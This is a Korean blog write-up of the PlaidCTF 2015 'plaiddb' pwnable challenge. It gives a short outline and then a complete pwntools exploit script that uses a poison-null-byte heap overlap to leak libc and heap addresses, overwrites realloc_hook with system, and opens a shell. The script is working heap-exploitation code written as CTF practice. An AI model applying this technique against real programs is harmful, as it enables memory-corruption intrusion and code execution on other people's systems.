[PlaidCTF 2015] plaiddb writeup
3일간에 걸려 푼 문제다.
익스가 매번 성공하는 것은 아니고 가끔 실패하는데 이유는 모르겠다.
poison null byte 공부하는데 도움이 된 것 같기도 하고 아닌 것같기도...
문제 자체가 조금 어렵다.
일단 익스는 아래와 같이 진행하였다.
1단계
1. chunk들을 잘 조절하여 poison_null_byte를 trigger한다.
2. 위 방법을 통해 db청크하나를 오버랩시키고, db청크의 data_size부분을 top chunk의 size로 오버랩시킨다.
3. 위를 통해서 db청크를 GET을 통해 검색하게되면 0x20000정도의 memory를 write로 뿌려주게 된다.
4. heap과 libc를 leak 한다.
2단계.
1. 0x71정도 사이즈의 chunk를 free하고 청크조작을 통해 fd를 realloc_hook-0x13의 주소로 덮는다.
2. realloc_hook을 system함수주소로 덮는다.
3. GET을 통해서 "/bin/sh\x00\x00 ... \x00"을 통해서 realloc을 트리거한다.
4. 쉘을 획득
처음에는 malloc_hook을 oneshot가젯으로 덮어 malloc 호출로 쉘을 따려고 했으나, 모든 원샷가젯이 작동하지않았다.
아마 rsp+a가 NULL이 아니라서 인것같은데... 뭘 어떻게 해줄수가 없어서 대신 realloc_hook을 덮어 realloc 호출 유도로 system함수 실행을 통해 쉘을 획득하는 방식으로 바꾸었다.
중간에 청크 조작때문에 서로가 서로를 덮는 상황이 발생하는데, 이 때 쓰기 불가능한 영역을 덮게 되어 error가 나는 경우가 있으니, leak한 쓰기 가능한 영역을 적절히 잘덮어써주면 error를 회피할 수 있다.
또 이게 익스가 매번 되는게 아니라, 가끔 실패하는데 이유는 정확히 모르겠다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 | #!/usr/bin/env python from pwn import * conn = process("./datastore.elf") def get(key): conn.sendlineafter("command:", "GET") conn.sendlineafter("key:", key) def put(key, size, data): conn.sendlineafter("command:", "PUT") conn.sendlineafter("key:", key) conn.sendlineafter("size:", str(size)) conn.sendafter("data:", data) def dump(): conn.sendlineafter("command:", "DUMP") def delete(key): conn.sendlineafter("command:", "DEL") conn.sendlineafter("key:", key) def exit(): conn.sendlineafter("command:", "EXIT") put("A", 0x100, "1"*0x100) delete("th3fl4g") put("B", 0x200, "2"*(0x200-0x10)+p64(0x200)+p64(0)) delete("A") put("C", 0x110, "3"*0x110) # setting poison_null_byte delete("B") put("D", 0x50, "4"*0x50) get("A"*0x18) # off-by-one, poison_null_byte put("", 0x80, "5"*0x80) # b1 put("b2", 0x40, "6"*0x40) # overlap chunk delete("") # consolidate delete("C") # remove fastbins and raise the heap address. put("BBBB", 0x8, "D"*0x8) put("CCCC", 0x8, "D"*0x8) put("EEEE", 0x8, "D"*0x8) payload = "A"*0xa0 put("Attack", len(payload), payload) get("b2") # b2 chunk size overwrite top chunk size """ A start -------------------------------- b_header b2 start -------------------------------- key_ptr | data_size & top chunksize data_ptr | A end -------------------------------- top chunksize prev_db b2 end -------------------------------- """ """ $ DUMP INFO: Dumping all rows. INFO: Row [Attack], 160 bytes INFO: Row [BBBB], 8 bytes INFO: Row [CCCC], 8 bytes INFO: Row [D], 80 bytes INFO: Row [EEEE], 8 bytes INFO: Row [\xb0\x82uUUU], 134481 bytes << 0x20d51 topchunk size PROMPT: Enter command: """ # leak address conn.recvuntil(" bytes]:") conn.recvuntil("BBBB") conn.recv(4) libc_base = u64(conn.recv(8)) - 0x3c4b78 log.info("libc_base : " + hex(libc_base)) conn.recvuntil("2"*8) conn.recv(8) heap_addr = u64(conn.recv(8)) - 0x3a0 log.info("heap_addr : " + hex(heap_addr)) # make fake_chunk b2 fake_chunk = p64(u16('b2')) + p64(0x41) fake_chunk += p64(heap_addr + 0x50) fake_chunk += p64(0x20d71) fake_chunk += p64(heap_addr + 0x2f0) + p64(0) fake_chunk += p64(0) + p64(0) fake_chunk += p64(0) + p64(0x71) get(fake_chunk) get("A"*0x30) delete("b2") # target address realloc_hook = libc_base + 0x3c4b10 - 0x13 - 0x10 system_addr = libc_base + 0x45390 """ 0x45216 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL 0x4526a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL 0xf02a4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL 0xf1147 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL """ # fastbin link control payload = p64(heap_addr+0x20)*8 ## avoid error payload += p64(0) + p64(0x71) payload += p64(realloc_hook) + p64(0) payload += "A"*0x10 put("A"*0x40, 0x70, payload) put("AAAS", 0x68, p64(heap_addr)*13) payload = "A"*3 payload += p64(libc_base + 0x85e20) ## avoid error payload += p64(system_addr) # realloc_hook payload += p64(0) # malloc_hook payload += p64(heap_addr+0x40)*9 payload += "A"*5 put("BBBS", 0x68, payload) get("/bin/sh" + "\x00"*0x20) conn.interactive() | cs |
'Write-up > Pwnable' 카테고리의 다른 글
[BCTF 2016] bcloud (0) | 2019.07.26 |
---|---|
[CODEGATE 2015] yocto (RTDL) (0) | 2019.07.13 |
[DEFCON 2019 Quals] speedrun (0) | 2019.05.14 |
[Codegate 2019] aeiou Write-up (0) | 2019.02.09 |
[Codegate 2019] 20000 ( grep 이용하기) (0) | 2019.01.30 |